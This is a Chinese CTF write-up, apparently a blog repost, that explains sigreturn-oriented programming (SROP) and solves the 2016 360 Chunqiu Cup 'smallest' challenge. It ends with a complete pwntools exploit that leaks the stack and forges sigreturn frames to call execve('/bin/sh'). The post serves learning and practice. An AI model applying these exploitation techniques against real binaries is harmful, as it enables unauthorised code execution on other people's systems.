SROP高级栈溢出利用思路

2023-10-31 15:40
文章标签 高级 溢出 思路 srop

本文主要是介绍SROP高级栈溢出利用思路,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

[md]# SROP
为了补之前想快进到堆而掠过高级栈溢出,这里陆陆续续会补回来

基本介绍

SROP(Sigreturn Oriented Programming) 于 2014 年被 Vrije Universiteit Amsterdam 的 Erik Bosman 提出,其相关研究Framing Signals — A Return to Portable Shellcode发表在安全顶级会议 Oakland 2014 上,被评选为当年的 Best Student Papers。
今天先多讲一句,这个漏洞的利用大多数是依靠在底层内核的系统调用相关方面的知识,所以在我们现在处于的用户态不需要讲解代码,所以图会多点。
在这个利用过程之中,sigreturn是一个系统调用,他也是今天的重要内容,也是攻击的核心,在类 unix 系统发生 signal 的时候会被间接地调用。

signal机制

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

  1. 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

这里我来提一嘴,那就是大伙在这里看到内核其实对于今天知识的讲解关系不大,我们需要了解的仅仅只是这个回复上下文的系统调用而已。

对于 signal Frame 来说,会因为架构的不同而有所区别,这里给出分别给出 x86 以及 x64 的 sigcontext

  • x86
struct sigcontext
{unsigned short gs, __gsh;unsigned short fs, __fsh;unsigned short es, __esh;unsigned short ds, __dsh;unsigned long edi;unsigned long esi;unsigned long ebp;unsigned long esp;unsigned long ebx;unsigned long edx;unsigned long ecx;unsigned long eax;unsigned long trapno;unsigned long err;unsigned long eip;unsigned short cs, __csh;unsigned long eflags;unsigned long esp_at_signal;unsigned short ss, __ssh;struct _fpstate * fpstate;unsigned long oldmask;unsigned long cr2;
};
  • x64

struct _fpstate
{/* FPU environment matching the 64-bit FXSAVE layout.  */__uint16_t        cwd;__uint16_t        swd;__uint16_t        ftw;__uint16_t        fop;__uint64_t        rip;__uint64_t        rdp;__uint32_t        mxcsr;__uint32_t        mxcr_mask;struct _fpxreg    _st[8];struct _xmmreg    _xmm[16];__uint32_t        padding[24];
};struct sigcontext
{__uint64_t r8;__uint64_t r9;__uint64_t r10;__uint64_t r11;__uint64_t r12;__uint64_t r13;__uint64_t r14;__uint64_t r15;__uint64_t rdi;__uint64_t rsi;__uint64_t rbp;__uint64_t rbx;__uint64_t rdx;__uint64_t rax;__uint64_t rcx;__uint64_t rsp;__uint64_t rip;__uint64_t eflags;unsigned short cs;unsigned short gs;unsigned short fs;unsigned short __pad0;__uint64_t err;__uint64_t trapno;__uint64_t oldmask;__uint64_t cr2;__extension__ union{struct _fpstate * fpstate;__uint64_t __fpstate_word;};__uint64_t __reserved1 [8];
};

最后,signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15(调用号记孰,这里就跟read的0,write的1一样)。


攻击原理

仔细回顾一下内核在 signal 信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是:

  • Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。

  • 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。

    说到这里,其实,SROP 的基本利用原理也就出现了。
    其大致思路也就是在栈上伪造寄存器信息然后进行sigreturn系统调用,其实还蛮直观的,对于这个如何构造而言,由于这里我们会将所有的用户态寄存器都进行保存压栈,所以咱们人力来构造难免会有疏漏的地方,而且着本身也是个机械化的没技术含量的活,所以我们就交给了自动化程序处理,在目前的pwntools中就存在这样一个工具,这个工具的简单用法我写到下面

read = SigreturnFrame()           #此方法为pwntools内置函数
read.rax = constants.SYS_read #read函数系统调用号
read.rdi = 0  #read函数一参
read.rsi = stack_addr  #read函数二参
read.rdx = 0x400  #read函数三参
read.rsp = stack_addr  #构造rsp寄存器值
read.rip = syscall_ret #使得rip指向syscall的位置,在部署好read函数之后能直接调用0

可以看出工具的使用还是十分直观的

例题:2016-360春秋杯-srop

首先还是进行check检查

嗯十分友好,接下来看看程序主体部分。
由于这个程序十分简单,我们直接用objdump进行观看

是的没看错,就这么简单,大致讲解下代码含义:
1. xor %rax,%rax //这里是将rax进行异或,咱们相同值异或结果为0,所以这里的含义即为将rax清0
2. mov %0x400,%edx //移入0x400到edx中
3. mov %rsp,%rsi //将栈首地址移入rsi中
4. mov %rax,%rdi //将rax移入rdi中
5. syscall //根据rax的值进行系统调用
6. ret

由于是64位程序,所以这里咱们可以知道这个函数是进行了read的系统调用,其参数分别处于rdi,rsi,rdx中,分别为0,站地址,0x400,也就是说从输入端读入0x400个字节至栈顶部分。
这里咱们首先想到[/md][md]修改rax来执行系统调用,但是我们如何在仅有的汇编代码下实现修改rax呢,可能有人会想到SROP,嗯,小伙子反应的很快,但是咱们这里还暂时用不了,所以我们这里利用了一个小技巧,那就是在进行read函数调用的过程中,rax会记录你总共所输入的字节数,所以我们会想到,如果咱们在这儿输入特定大小的值,那不就可以任意构造rax了嘛,这里我们进行实验给大伙看看。


这里是第一次执行syscall时的栈结构

按照程序原来的意思执行一次read函数的系统调用后,此时我们任意输入一个值,我这里输入abcde

可以看到这里咱们的栈是任由咱们写的,然后下一条指令又是ret,所以我们会在此时跳转到我们写的这个值这里,在这儿也就是 call 0xa6564636261,所以咱们这里有那么点想法,如果咱们要修改rax的值,那肯定要绕过第一条xor指令,所以咱们可以在栈上首先构造三个0x4000b0,至于为什么是三个,我之后会进行讲解。

第一步

在第一次read系统调用后,咱们输入三个0x4000b0(也即是xor的地址,由于没开地址随机,所以此值固定),此时栈结构如下

此时ret之后,咱们会跳转至xor进行重新一论的程序执行,在执行read的系统调用时,咱们输入‘\xb3’,这样的话会将第二个0x4000b0修改为0x4000b3,并且此时他是在栈上的,而且由于咱们现如今输入一个字节,所以rax也会加一,我们来调试看看是否如此

可以看到确实修改成功,而此时根据程序流程,我们将会跳到0x4000b3进行执行,也就跳过了清空rax的过程,所以此时咱们(由于rax = 1)就会接着执行write的系统调用,并且打印出了栈顶地址,执行效果如下

第二步

    这里还有个小知识,那就是关于系统调用号,这里给出64位的相关调用号
系统调用调用号函数原型
read0read( int fd, void *buf, size_t count )
write1write( int fd, const void *buf, size_t count )
sigreturn15int sigreturn( … )
execve59execve( const char *filename, char *const argv[], char *const envp[] )

执行到这里,由于咱们泄露出了栈顶地址,所以咱们最好就少动他,因为咱们之后要用到他的,所以咱们来小试牛刀一把,先利用SROP的思路进行read系统调用。
还记得咱们有三个0x4000b0么,此时还剩下最后一个,所以咱们此时在执行完write的系统调用之后会继续跳转到xor指令,但此时咱们不同了,这次咱们在栈上构造的为0x4000b0 + syscall地址 + read函数的伪造寄存器压栈值,这里我会讲解为何如此构造。
首先构造0x40000b0的目的是方便下一次执行循环,且下一次执行循环之后栈顶上的值会变为
syscall的地址,此时若在此轮read中咱们输入15个值,即可进行sigreturn的系统调用,但是如何输入值却又不改变栈上的值呢,那就是输入同样的值不就行了.
而在进行如下构造

read = SigreturnFrame()
read.rax = constants.SYS_read #read函数系统调用号
read.rdi = 0  #read函数一参
read.rsi = stack_addr  #read函数二参
read.rdx = 0x400  #read函数三参
read.rsp = stack_addr  #和rsi寄存器中的值保持一致,确保read函数写的时候rsp指向stack_addr
read.rip = syscall_ret #使得rip指向syscall的位置,在部署好read函数之后能直接调用0
pl2 = p64(0x4000b0) + p64(syscall_ret) + bytes(read)
pause()
#==== third read ====#
io.send(pl2)    #orchestral stack
#gdb.attach(io)
#pause()
#==== fourth read ====#
io.send(pl2[8:8+15]) #put in place,so that we can syscall(rax:15) for sigreturn

其中后面的send即为修改rax所发送的,注意在本次系统调用是咱们自主调用而不是依照程序流程所得,在此之后由于咱们对于sigreturnframe的构造,接下来会进行read的系统调用。

第三步

由于又是一次read的系统调用,所以此时咱们还是选择类似上面write一样进行execve系统调用,只不过这里利用了点sigreturn的知识,这里还有个需要注意的点那就是/bin/sh的构造是构造到栈上然后自行计算偏移地址,这里我就不多讲了想必大伙已经捻熟于心,所以此次执行后再次进行SROP攻击,最终结果如下

大获全胜!!!

总结

总结是什么呢,总结就是注意点send和sendline的区别,还有就是经过sigreturnframe构造的串,用bytes(read)跟用bytes(str(read),‘utf8’)不一样,坑死我了。对于今天攻击的技巧而言更多是对syscall等系统调用的深入理解了。


以下附上exp:

from pwn import *
io = process('./smallest')
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.terminal = ['tmux','splitw','-h']
syscall_ret = 0x4000be
#==== first read ====#
pl = p64(0x4000b0)*3
gdb.attach(io)
io.send(pl)         #let the ret_addr to 0x4000b0
pause()
#==== second read ====#
io.send('\xb3')     #let the ret_addr to 0x4000b3
io.recv(8)          #rax is 0x1,syscall for write
stack_addr = u64(io.recv(8))
io.success('stack_addr ==>'+hex(stack_addr))
read = SigreturnFrame()
read.rax = constants.SYS_read #read函数系统调用号
read.rdi = 0  #read函数一参
read.rsi = stack_addr  #read函数二参
read.rdx = 0x400  #read函数三参
read.rsp = stack_addr  #和rsi寄存器中的值保持一致,确保read函数写的时候rsp指向stack_addr
read.rip = syscall_ret #使得rip指向syscall的位置,在部署好read函数之后能直接调用0
pl2 = p64(0x4000b0) + p64(syscall_ret) + bytes(read)
pause()
#==== third read ====#
io.send(pl2)    #orchestral stack
#gdb.attach(io)
#pause()
#==== fourth read ====#
io.send(pl2[8:8+15]) #put in place,so that we can syscall(rax:15) for sigreturn#==== sigreturn read ====#
execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = stack_addr + 0x120
execve.rsi = 0
execve.rdx = 0
execve.rsp = stack_addr
execve.rip = syscall_retpl3 = p64(0x4000b0) + p64(syscall_ret) +  bytes(execve)
print(len(pl3))
#pause()
pl3 += (0x120 - len(pl3))*b'\x00' + b'/bin/sh\x00'io.send(pl3)
#pause()
io.send(pl3[8:8+15])
#gdb.attach(io)
io.interactive()```[/md]

这篇关于SROP高级栈溢出利用思路的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/316375

相关文章

Apache 高级配置实战之从连接保持到日志分析的完整指南

《Apache高级配置实战之从连接保持到日志分析的完整指南》本文带你从连接保持优化开始,一路走到访问控制和日志管理,最后用AWStats来分析网站数据,对Apache配置日志分析相关知识感兴趣的朋友... 目录Apache 高级配置实战:从连接保持到日志分析的完整指南前言 一、Apache 连接保持 - 性

mysql中的group by高级用法详解

《mysql中的groupby高级用法详解》MySQL中的GROUPBY是数据聚合分析的核心功能,主要用于将结果集按指定列分组,并结合聚合函数进行统计计算,本文给大家介绍mysql中的groupby... 目录一、基本语法与核心功能二、基础用法示例1. 单列分组统计2. 多列组合分组3. 与WHERE结合使

Java内存区域与内存溢出异常的详细探讨

《Java内存区域与内存溢出异常的详细探讨》:本文主要介绍Java内存区域与内存溢出异常的相关资料,分析异常原因并提供解决策略,如参数调整、代码优化等,帮助开发者排查内存问题,需要的朋友可以参考下... 目录一、引言二、Java 运行时数据区域(一)程序计数器(二)Java 虚拟机栈(三)本地方法栈(四)J

PyTorch高级特性与性能优化方式

《PyTorch高级特性与性能优化方式》:本文主要介绍PyTorch高级特性与性能优化方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、自动化机制1.自动微分机制2.动态计算图二、性能优化1.内存管理2.GPU加速3.多GPU训练三、分布式训练1.分布式数据

Spring Boot集成SLF4j从基础到高级实践(最新推荐)

《SpringBoot集成SLF4j从基础到高级实践(最新推荐)》SLF4j(SimpleLoggingFacadeforJava)是一个日志门面(Facade),不是具体的日志实现,这篇文章主要介... 目录一、日志框架概述与SLF4j简介1.1 为什么需要日志框架1.2 主流日志框架对比1.3 SLF4

Spring Boot集成Logback终极指南之从基础到高级配置实战指南

《SpringBoot集成Logback终极指南之从基础到高级配置实战指南》Logback是一个可靠、通用且快速的Java日志框架,作为Log4j的继承者,由Log4j创始人设计,:本文主要介绍... 目录一、Logback简介与Spring Boot集成基础1.1 Logback是什么?1.2 Sprin

Python MCPInspector调试思路详解

《PythonMCPInspector调试思路详解》:本文主要介绍PythonMCPInspector调试思路详解,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋... 目录python-MCPInspector调试1-核心知识点2-思路整理1-核心思路2-核心代码3-参考网址

MySQL复合查询从基础到多表关联与高级技巧全解析

《MySQL复合查询从基础到多表关联与高级技巧全解析》本文主要讲解了在MySQL中的复合查询,下面是关于本文章所需要数据的建表语句,感兴趣的朋友跟随小编一起看看吧... 目录前言:1.基本查询回顾:1.1.查询工资高于500或岗位为MANAGER的雇员,同时还要满足他们的姓名首字母为大写的J1.2.按照部门

Python中Flask模板的使用与高级技巧详解

《Python中Flask模板的使用与高级技巧详解》在Web开发中,直接将HTML代码写在Python文件中会导致诸多问题,Flask内置了Jinja2模板引擎,完美解决了这些问题,下面我们就来看看F... 目录一、模板渲染基础1.1 为什么需要模板引擎1.2 第一个模板渲染示例1.3 模板渲染原理二、模板

Spring Boot中JSON数值溢出问题从报错到优雅解决办法

《SpringBoot中JSON数值溢出问题从报错到优雅解决办法》:本文主要介绍SpringBoot中JSON数值溢出问题从报错到优雅的解决办法,通过修改字段类型为Long、添加全局异常处理和... 目录一、问题背景:为什么我的接口突然报错了?二、为什么会发生这个错误?1. Java 数据类型的“容量”限制